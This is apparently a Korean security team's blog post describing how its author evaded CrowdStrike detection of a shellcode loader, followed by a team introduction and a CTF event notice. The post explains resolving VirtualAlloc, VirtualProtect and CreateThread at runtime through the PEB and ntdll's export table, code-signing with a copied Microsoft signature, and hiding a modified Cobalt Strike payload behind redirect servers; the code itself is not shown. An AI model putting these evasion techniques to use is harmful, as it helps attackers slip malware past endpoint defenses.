그렇다. 나의 바이너리는 VirtualAlloc과 CreateThread를 기본적으로 사용하고 있었고, 그러므로 CrowdStrike가 너무 쉽게 탐지해버린 것이다. 

하지만, 쉘코드를 로드해서 사용하기 위해서는 가상 함수를 할당하여 사용하는 API는 필수적으로 필요하다고 생각하고 있었기 때문에 잠시 멍해졌었다.

 

.rdata섹션에 대놓고 보여지기 때문에 행위기반 분석이 아니라 정적으로 분석만 하더라도 문자열로 VirtualAlloc, CreateThread가 노출되어진다. 

 

나는 .rdata에 노출되지 않으려면 어떻게 하면 되는지를 생각해보았다. 

.rdata 섹션에 자리잡는 녀석들이 어떻게 생기는지를 설명하기 위해 작고 귀여운 바이너리를 하나 생성하였다. 

 

기본적으로 제공하는 함수의 경우, DLL에서 주소를 찾아와서 이용하게 된다. 이 방법을 생각해보면, 직접적으로 그 주소를 가지고와서 다른 이름으로 사용하면 노출이 되지 않을 수 있지 않을까? 라는 아이디어를 얻을 수 있다.

 

LoadLibrary와 GetProcAddress를 사용한 예제가 많이 있다. 하지만 GetProcAddress 또한 직접 찾아서 코딩하면 좀 더 안전한 바이너리가 될 것 같다는 생각을 하였다. 

키워드를 정해 검색해보니 이미 누군가가 깔끔하게 작성해둔 코드가 있었고 이를 이해하고 사용하기로 결정했다.

 

모든 프로그램은 ntdll.dll과 kernel32.dll을 가지고 있다. 

 

GetProcAddress는 kernel32.dll에 존재한다. 하지만 더 접근해보면 GetProcAddress는 상위 ntdll.LdrGetProcedureAddressForCaller에서 호출되는 API임을 알 수 있다.

LdrGetProcedureAddressForCaller를 검색해보니 LdrGetProcedureAddress와 같다는 것을 알게 되었다.

 

LdrGetProcedureAddress는 ntdll 에 있다는 것을 디버거를 통해 확인하였으니, ntdll의 베이스주소를 구하는 방법을 생각해보아야 한다. DLL의 베이스주소를 알면, 오프셋을 통해 함수에 접근할 수 있기  때문이다. 

 

어떻게 접근할 수  있을까?

Windows에는 fs 세그먼트가 존재한다. fs[0x18] 위치에 TIB(Thread Information Block)가 존재하게 되며 TIB의 0x0C 위치에 Ldr이라는 구조체가 존재한다.

 

Ldr에 접근하게 되면 0x1C 부분에 InInitialzationOrderModuleList가 존재한다.

 

InInitialzationOrderModuleList에서 BaseDllName을 만날 수 있다. 



 

여기까지를 코드로 표현하면 다음과 같다. 

그 후, EAT(Export Address Table)를 살펴보아야 한다. 

EAT는 Windows DLL 하나를 까서 그 안에 무슨 함수들이 있는지 훔쳐본다고 생각하면 이해하기 편하다. 

EAT에 접근하기 위해 이전에 구한  ntdll 베이스 주소와 IMAGE_NT_HEADER를 이용하여야 한다. 

 

Export Table에 접근 후, 반복적으로 함수명을 찾다 보면 현재의 목표인 LdrGetProcedureAddress 주소를 얻을 수 있다.

 

 

이 과정을 통해 이제 IAT에 등록하지 않고, 프로그램안에서 API함수를 사용할 수 있게 된다.

IAT 미등록 리스트는 VirtualAlloc, VirtualProtect, CreateThread이다.

 

API 함수는 다음과 같이 선언하였다. msdn에 아주 상세하게 설명이 되어 있다.

 

쉘코드 호출은 다음과 같은 방법을 이용하였다. 인라인어셈과 C문법을 병행하였다. 

 

그 이후, MS binary를 이용하여 코드 서명을 진행하였다. 

그 결과, 탐지되지 않고 연결이 되었음을 확인할 수 있었다.

 

PE구조에 대해 많이 까먹고 있었는데, 오늘 복습하게되어 기분이 좋았다.

 

해당 프로젝트에서는 Cobalt Stirke 프레임워크의 내장 된 쉘코드 일부를 수정, 희생자가 분석을 진행했을 때 공격자의 IP를 알 수 없게 Redirect 서버 2개를 사용하였다. 

 

ref. 

https://www.redcursor.com.au/blog/bypassing-crowdstrike-endpoint-detection-and-response

https://blog.kowalczyk.info/articles/pefileformat.html

http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrGetProcedureAddress.html

http://www.rohitab.com/discuss/topic/43078-ldrgetprocedureaddress-hook-windows-10/

https://www.aldeid.com/wiki/PEB-Process-Environment-Block

http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FPEB_LDR_DATA.html

https://5kyc1ad.tistory.com/329?category=753762

https://github.com/secretsquirrel/SigThief








'연구' 카테고리의 다른 글

Antivirus bypass  (0) 2020.09.08

소개: 2020년 9월부터 시즌 2 활동을 시작합니다. 

멤버: 김민정(팀장), 김주원, 김준태, 손현지, 이재승, 정동현, 정상수, 최동민, 황수민

 

주요 활동 및 이력:

  해킹캠프  CTF 문제출제 및 운영

  여성해킹대회(PoXX) 문제 출제 및 운영

  벨루미나(Belluminar) 운영

  1회 화이트햇 리그 2위

'팀소개' 카테고리의 다른 글

About Demon team  (0) 2020.09.04

2019.8.24 ~ 25일 운영

1위: 2제집가시면됩니다

2위: 6쌈냉면먹을래요

3위: 속4Four

 

8/31 오후 11시 50분 부터 외부 공개

http://pwnable.shop 

 

 

'외부활동' 카테고리의 다른 글

2019 가을 해킹캠프 CTF 운영  (0) 2019.08.28

+ Recent posts